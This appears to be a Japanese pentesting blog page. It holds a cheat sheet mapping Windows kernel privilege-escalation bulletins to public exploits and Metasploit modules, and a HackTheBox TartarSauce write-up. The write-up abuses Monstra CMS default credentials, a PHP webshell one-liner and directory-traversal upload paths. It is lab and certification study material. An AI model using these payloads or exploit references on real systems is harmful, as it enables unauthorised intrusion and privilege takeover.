# Vulnerable Software: # Windows XP SP3 x86 # Windows XP SP2 x86-64 # Windows 2003 SP2 x86 # Windows 2003 SP2 x86-64 # Windows 2003 SP2 IA-64 # Supported vulnerable software: # Windows XP SP3 x86 # Windows 2003 SP2 x86 # Tested on: # Windows XP SP3 x86 EN # Windows 2003 SP2 x86 EN # CVE ID: 2013-5065 # Exploit compiling: # - # i586-mingw32msvc-gcc MS14-002.c -o MS14-002.exe
github
CVE-2013-5065.exe CVE-2013-5065.py MS14-002.exe
c:> MS14-002.exe XP c:> MS14-002.exe 2k3
spawn a SYSTEM shell in current window
github.com
Microsoft Windows - 'NDPROXY' SYSTEM Privilege Escalation (MS14-002)
have ms14-002.py ms14-002.exe
github.com
metasploit
exploit/windows/local/ms_ndproxy 2013-11-27 average MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation
more information
MS14-026 (low)
affected version
Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT Windows RT 8.1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core インストール) Windows Server 2012 (Server Core インストール)
not affected version
Microsoft .NET Framework 3.0 Service Pack 2 Microsoft .NET Framework 3.5 Service Pack 1 Microsoft .NET Framework 4.5.2
[M] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important
exploit-db
.NET Remoting Services - Remote Command Execution
[*] http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC
www.exploit-db.com
github
no??
metasploit
no
more information
MS14-040 (high)
affected version
Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for 32-bit Systems[2] (2973408) Windows 8.1 for x64-based Systems Windows Server 2012 [Windows Server 2012 R2 Windows RT[3] (2961072) Windows RT 8.1[1][3] (2961072)
exploit-db
Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)
# Tested on: Win7 x32 # afd.sys - 6.1.7600.16385 # ntdll.dll - 6.1.7600.16385
github
MS14-40-x32.py 39525.py 39446.py MS14-40-x86.exe MS14-040-x64.exe
github.com
metasploit
no
more information
MS14_058 (high)
affected version
Windows Server 2003, Windows Server 2008, Windows Server 2012, 7, 8 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT[1] (3000061) Windows RT 8.1[1] (3000061) Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 R2 for x64-based Systems Service Pack 1
exploit-db
Microsoft Windows Kernel - 'win32k.sys' Local Privilege Escalation (MS14-058)
txt. have URL
www.exploit-db.com
Microsoft Windows - TrackPopupMenu Win32k Null Pointer Dereference (MS14-058) (Metasploit)
www.exploit-db.com
github
MS14-058.exe Exploit.exe
github.com
metasploit
exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits.
more information
MS14-068 (medium)
affected version
Windows Server 2003 Windows Server 2003 Service Pack 2 Windows Server 2003 x 64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based System Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 R2 for x64-based Systems Service Pack 1
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
exploit-db
Microsoft Windows Kerberos - Privilege Escalation (MS14-068)
[*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
www.exploit-db.com
github
USAGE: ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
metasploit
auxiliary/admin/kerberos/ms14_068_kerberos_checksum 2014-11-18 normal MS14-068 Microsoft Kerberos Checksum Validation Vulnerability
more information
MS14_070 (high)
affected version
Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based System
exploit-db
Microsoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)
# Vulnerable Software: # Windows 2003 SP2 x86 # Windows 2003 SP2 x86-64 # Windows 2003 SP2 IA-64 # Supported vulnerable software: # Windows 2003 SP2 x86 # Tested on: # Windows 2003 SP2 x86 EN
www.exploit-db.com
Microsoft Windows Server 2003 SP2 - Local Privilege Escalation (MS14-070)
Affected Product: TCP/IP Protocol Driver Affected Version: 5.2.3790.4573 Platform: Microsoft Windows Server 2003 Service Pack 2 Architecture: x86, x64, Itanium
github
35936.exe 37755.exe
github.com
metasploit
exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys can allow a local attacker to trigger a NULL pointer dereference by using a specially crafted IOCTL. This flaw can be abused to elevate privileges to SYSTEM.
more information
Granny privesc (MS14-070) WITHOUT meterpreter
MS15_004 (medium)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT[1] (3019978) Windows RT 8.1[1] (3019978) Windows Server 2008 R2 for x64-based Systems Service Pack 1
exploit-db
Microsoft Remote Desktop Services - Web Proxy IE Sandbox Escape (MS15-004) (Metasploit)
Protected Mode (Windows 7) / 32 bits
www.exploit-db.com
github
no??
metasploit
exploit/windows/local/ms15_004_tswbproxy: The target service is running, but could not be validated.
more information
MS15-010 (meduim)
affected version
Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT[1] (3013455) Windows RT 8.1[1] (3013455)
exploit-db
Microsoft Windows - Local Privilege Escalation (MS15-010)
www.exploit-db.com
Microsoft Windows 8.1 - 'win32k' Local Privilege Escalation (MS15-010)
# Version: Windows 8.1 (x64) # Tested on: Windows 8.1 (x64)
have exe URL
www.exploit-db.com
github
39035.exe
github.com
metasploit
no
more information
MS15-051 (high)
affected version
Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT[1] (3045171) Windows RT 8.1[1] (3045171) Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 R2 for x64-based Systems Service Pack 1
Title : ClientCopyImage Win32k CVEID : 2015-1701, 2015-2433
exploit-db
Microsoft Windows - ClientCopyImage Win32k (MS15-051) (Metasploit)
Link : https://www.exploit-db.com/exploits/37367/
www.exploit-db.com
Microsoft Windows - Local Privilege Escalation (MS15-051)
have exe URL
www.exploit-db.com
github
37049-32.exe Taihou32.exe Taihou64.exe ms15-051.exe ms15-051x64.exe
ms15-051x64.exe works!!
github.com
have exe URL
ms15-051/Win32/ms15-051.exe works!!!
ms15-051/x64/ms15-051.exe
usage ms15-051.exe whoami
github.com
metasploit
exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
more information
MS15-076 (medium)
affected version
Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Server 2003 R2 Service Pack 2 Windows Server 2003 R2 x64 Edition Service Pack 2 Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT[1] (3067505) Windows RT 8.1[1] (3067505)
exploit-db
Microsoft Windows 8.1 - DCOM DCE/RPC Local NTLM Reflection Privilege Escalation (MS15-076)
Copies a file to any privileged location on disk Usage: trebuchet.exe C:\Users\Bob\Evil.txt C:\Windows\System32\Evil.dll Exploit can only be one once every 2-3 minutes. This is because RPC can be help up by LocalSystem Tested on x64/x86 Windows 7/8.1 The destination file can't already exist
github
Trebuchet.exe Microsoft.VisualStudio.OLE.Interop.dll
github.com
metasploit
no
more information
MS15-078 (meduim)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT[1] (3079904) Windows RT 8.1[1] (3079904) Windows 10 for 32-bit Systems[1] (3074683) Windows 10 for x64-based Systems[1] (3074683)
MS15-078 : Font Driver Buffer Overflow This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing a malformed font. The vulnerability was exploited by the hacking team and disclosed on the july data leak. This module has been tested successfully on vulnerable builds of Windows 8.1 x64.
This module has been tested successfully on vulnerable builds of Windows 8.1 x64.
exploit-db
Microsoft Windows - Font Driver Buffer Overflow (MS15-078) (Metasploit)
www.exploit-db.com
github
no??
metasploit
exploit/windows/local/ms15_078_atmfd_bof 2015-07-11 manual MS15-078 Microsoft Windows Font Driver Buffer Overflow
more information
MS15-102 (low)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT[1] (3082089) Windows RT[1] (3084135) Windows RT 8.1[1] (3082089) Windows RT 8.1[1] (3084135) Windows 10 for 32-bit Systems Windows 10 for x64-based Systems Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 R2 for x64-based Systems Service Pack 1
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
exploit-db
have exe URL
38202/bin/CreateObjectTaskCPP.exe
[*] https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
/root/Documents/OSCP-LABO/HTB/Arctic/
www.exploit-db.com
have ps1 URL
38200.ps1
[*] https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
Platform: Windows 8.1 Update, looks like it should work on 7 and 10 as well
www.exploit-db.com
have exe URL
38201/bin/CreateObjectTaskCPP.exe
[*] https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
Platform: Windows 8.1 Update (I don’t believe it’s available in earlier Windows versions)
www.exploit-db.com
github
no??
metasploit
no
more information
MS16-014 (high)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT 8.1[1] (3126587) Windows RT 8.1[1] (3126593) Windows 10 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 Version 1511 for 32-bit Systems Windows 10 Version 1511 for x64-based Systems Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 R2 for x64-based Systems Service Pack 1
exploit-db
Microsoft Windows 7 SP1 (x86) - Local Privilege Escalation (MS16-014)
# Version: Windows 7 SP1 x86 # Tested on: Windows 7 SP1 x86
Microsoft Windows - Kerberos Security Feature Bypass (MS16-014)
# Tested on: Windows 7 Professional (x32/x64) # CVE : CVE-2016-0049 ???????????????????????????? txt
github
ms16-014.rar ms16-014.exe ms16-014.exe
usage ms16-014.exe whoami ???????
github.com
metasploit
exploit/windows/local/ms16_014_wmi_recv_notif 2015-12-04 normal Windows WMI Recieve Notification Exploit
more information
MS16-016 (high)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important Title : 'mrxdav.sys' WebDAV MSBulletin : MS16-016 CVEID : 2016-0051
exploit-db
[*] https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
have exe URL
[*] https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
# Version:WebDAV on Windows 7 84x
spawn SYSTEM shell in **current** window<br>
https://www.exploit-db.com/exploits/39788
[*] https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC<brhttps://www.exploit-db.com/exploits/39788/ spawn SYSTEM shell in **new** window
https://www.exploit-db.com/exploits/39432
github
BSoD.exe EoP.exe
spawn SYSTEM shell in new window
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016
metasploit
exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated. This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate its privileges to NT AUTHORITY\SYSTEM before executing the specified payload within the context of the elevated process.
more information
MS16-032 (high)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT 8.1 [1] (3139914) Windows 10 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 Version 1511 for 32-bit Systems Windows 10 Version 1511 for x64-based Systems
exploit-db
Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation (MS16-032) (PowerShell)
www.exploit-db.com
Microsoft Windows 8.1/10 (x86) - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032)
www.exploit-db.com
Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Local Privilege Escalation (MS16-032) (C#)
www.exploit-db.com
Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Secondary Logon Handle Privilege Escalation (MS16-032) (Metasploit)
www.exploit-db.com
github
x86/ms16-032.exe x64/ms16-032.exe MS16-032.ps1
spawn SYSTEM shell in new window
github.com
metasploit
exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated. This module exploits the lack of sanitization of standard handles in Windows Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores.
more information
MS16-034 (very low)
affected version
(XP/Vista/Win7/Win8/2000/2003/2008/2012)
Title : Windows Kernel-Mode Drivers EoP MSBulletin : MS16-034 CVEID : 2016-0093/94/95/96
exploit-db
no??
github
FillRgn_BSoD.cpp MS16-034-exp.cpp
cannot compile
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1github.com
metasploit
no
more information
MS16-075 (medium)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT 8.1 Windows 10 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 Version 1511 for 32-bit Systems Windows 10 Version 1511 for x64-based Systems
Hot potato
exploit-db
Microsoft Windows - Net-NTLMv2 Reflection DCOM/RPC (Metasploit)
seems not work....????
www.exploit-db.com
github
Tater.ps1 (seems works) potato.exe ms16-075.rb (metasploit module)
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
poc.py attack.py constant.py httpserver.py secretsdump.py smbclient.py webclient.py
????
github.com
metasploit
above
more information
MS16-098 (high)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT 8.1[1] (3177725) Windows 10 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 Version 1511 for 32-bit Systems Windows 10 Version 1511 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems Windows 10 Version 1607 for x64-based Systems
exploit-db
Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-098)
.c have exe URL
41020.exe
www.exploit-db.com
Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) (2)
have exe URL
MS16-098.exe
www.exploit-db.com
github
bfill.exe
github.com
Windows 8.1 x64 Exploit for MS16-098 RNGOBJ_Integer_Overflow
have bfill.exe
github.com
metasploit
no
more information
MS16-135 (high)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows 10 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 Version 1511 for 32-bit Systems Windows 10 Version 1511 for x64-based Systems Windows Server 2016 for x64-based Systems
Title : Win32k Elevation of Privilege MSBulletin : MS16-135 CVEID : 2016-7255
exploit-db
Microsoft Windows Kernel - 'win32k.sys NtSetWindowLongPtr' Local Privilege Escalation (MS16-135) (2)
have exe URL
41015.exe
www.exploit-db.com
Microsoft Windows Kernel - 'win32k.sys NtSetWindowLongPtr' Local Privilege Escalation (MS16-135) (1)
40823/code/ASLRSideChannelAttack/compiled/ASLRSideChannelAttack.exe
have exe URL
www.exploit-db.com
github
MS16-135
https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sgithub.com
41015.exe MS16-135.ps1 SetWindowLongPtr_Exploit.exe
spawn SYSTEM shell in current window
github.com
MS16-135.ps1
github.com
metasploit
no
more information
最後に
HackTheBoxのWindowsのPEってKernelExploitであることが多いですよね。その時に、毎回SuggesterでExploitを探すうちにそれらを覚えちゃう方が早いと思ったのでこういうのを作りました。
あと、LinuxのsudoコマンドのExploitについても同じようなチートシートを自分は作ってます。
これらの30種類の中で、HTBで頻出だと思うのはMS10-092 MS11-046 MS15-051 MS16-032 あたりでしょうか。もちろんこれら以外もありますが。
HackTheBox TartarSauce Writeup
TartarSauceというマシンの新しい解法(ほかのWriteupでは解説されていない)を見つけたのでブログに書きたいと思います。(といってもそんな大したことないですが)。
他のWriteupではRabbit Holeとされている、「Monstra」CMSを悪用して初期シェルを得る方法を解説します。rootまでの完全なWriteupではないので悪しからず。
Monstra CMS
Information Gathering
/webservices/monstra-3.0.4/admin/
にアクセスすると、以下のようなログインページが見つかる。
Versionが3.0.4だということがわかり、これでGoogleでExploitを探すといろいろ脆弱性が見つかる。
これらをまとめてみると、以下のようになる。結論から言うと、以下の二つのExploitを組み合わせることで初期シェルがゲットできた。
Login
上記で調べたExploitを見る限り、全てAuthenticatedを必要としている。つまり、ログイン後に初めて悪用できる。よって、MonstraCMSにログインを試す。
Webのログインページに対して、login bruteforce
,default login
,SQL Injection
の3つの可能性が考えられるが、10回以上のログイン試行によって一定時間BANされたので、login bruteforce
の線は薄い。また、このMonstraCMSは実際に存在するサービスであり、Sql Injectionはググっても出てこなかったため、Sql Injectionの可能性も薄い(それでも一応基本的なものは試すが)。
したがって、default login
で悪用する可能性が高く、実際、admin / admin
という弱いクレデンシャルでログインができた。
Arbitrary File Upload
ログインができたので、AuthenticatedのArbitrary File Uploadができそうに見える。バージョンもドンピシャであり、このExploitの解説方法もググれば大量に出てくるため、かなり信頼性が高い。
www.exploit-db.com
Exploit-dbの通り、webshell.php7
というファイル名でアップロードを試みる。
root@kali:~/Documents/HTB/TartarSause# cat webshell.php7 <?php system($_GET['cmd']); ?> root@kali:~/Documents/HTB/TartarSause#
すると、以下のようにFile was not uploaded
というエラーが発生する。
ここで、.php7
という拡張子がダメなのかもしれないので、webshell.txt
としてUploadを試みる。そして、この場合も同様のエラーが発生した。
「???」って感じである。よくわからないので、Burp Suiteで実際のやり取りを確認してみる。
どうやら302エラーが発生していることが原因??(結果的には多分関係ない)。存在するはずのページなのに302ってドユコト?。ただ、おそらくURLに問題がある?っぽいのかなと推測できる。
あと、もう一つ目についたのが、&path=uploads
の部分。ここから、おそらく「uploads」という名前のディレクトリにファイルを書き込む、と推測できる。
以上のことから、このMonstraCMSではファイルのアップロードそのものは可能で、そのファイルはuploads
ディレクトリに書き込まれるが、このディレクトリに対して書き込み権限がないため、エラーが発生している、と推測できる。
Directory Traversal
ここで、先ほどGoogleで検索したExploitの中に、directory traversalがあったことを思い出す。よって、uploads
ディレクトリをdirectory traversalを使って別の書き込めるディレクトリに指定すれば成功するのでは??と考えられる。
では、まずdirectory traversalが成功するのかを確認する。
www.cvedetails.com
index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./
でアクセスしてみると、以下のように成功していることがわかる。
どうやら、/.......//./
一つで親ディレクトリ一つ分移動できるっぽいので、それを確認する。
成功!どうやら仮説通り、uploads
ディレクトリが存在していたらしい。
Webshell Upload
次に、書き込み権限があると思われる/tmp
にファイルを書き込むことを試す。
/index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./.......//./tmp/
でアクセスしてみる。
そして、/tmpを確認してみると、成功していることがわかる!!!
次は、書き込み権限があるようなWebrootに書き込んで、ブラウザからそのPHPファイルにアクセスして、PHPコードを実行することを試す。
/index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./.......//./var/www/html/
をURLに設定して、ファイルをアップロードすると、以下のように書き込めており、ブラウザ経由で確認することができた!!
よって、次は.php7
ファイルをアップロードすることを試してみる。
そして、Webshellゲットだぜ!!。
CVE-2018-16820
https://www.cvedetails.com/cve/CVE-2018-16820/
Cvedetailsを見る限り、任意の書き込み権限のあるディレクトリにファイルをアップして、RCEできうるみたいなことは書いてないんですけど、これってどうなんだろう?
今回みたいな悪用の仕方は初めてなのでこれがCVE-2018-16820の範囲内なのかよくわからないです。
一度登録されたCVEは再評価はされないのかな?知ってる方いれば教えてほしいです!
まとめ
Monstra CMS 3.0.4の(Authenticated) Arbitrary File UploadとDirectory Traversal(CVE-2018-16820)を組み合わせて、書き込み権限のないuploadsディレクトリ以外のディレクトリに書き込んで、Webshellを設置することができた。
OSCP Review(受験記)
先日OSCPを取得したので、受験記を書きたいと思います!
OSCPとは
Offensive Secutiry Certified Professionalの略です。
ペネトレーションテストをある程度できることを証明する資格なのかな?と思ってます。
ペネトレーションテストでは、既知の脆弱性のあるマシンをどこまで悪用可能なのかを調べることをします。低権限のシェルしか得られないのか、root権限を得られるのか。
OSCPに用意されているマシンはすべてrootまで権限昇格が可能です。
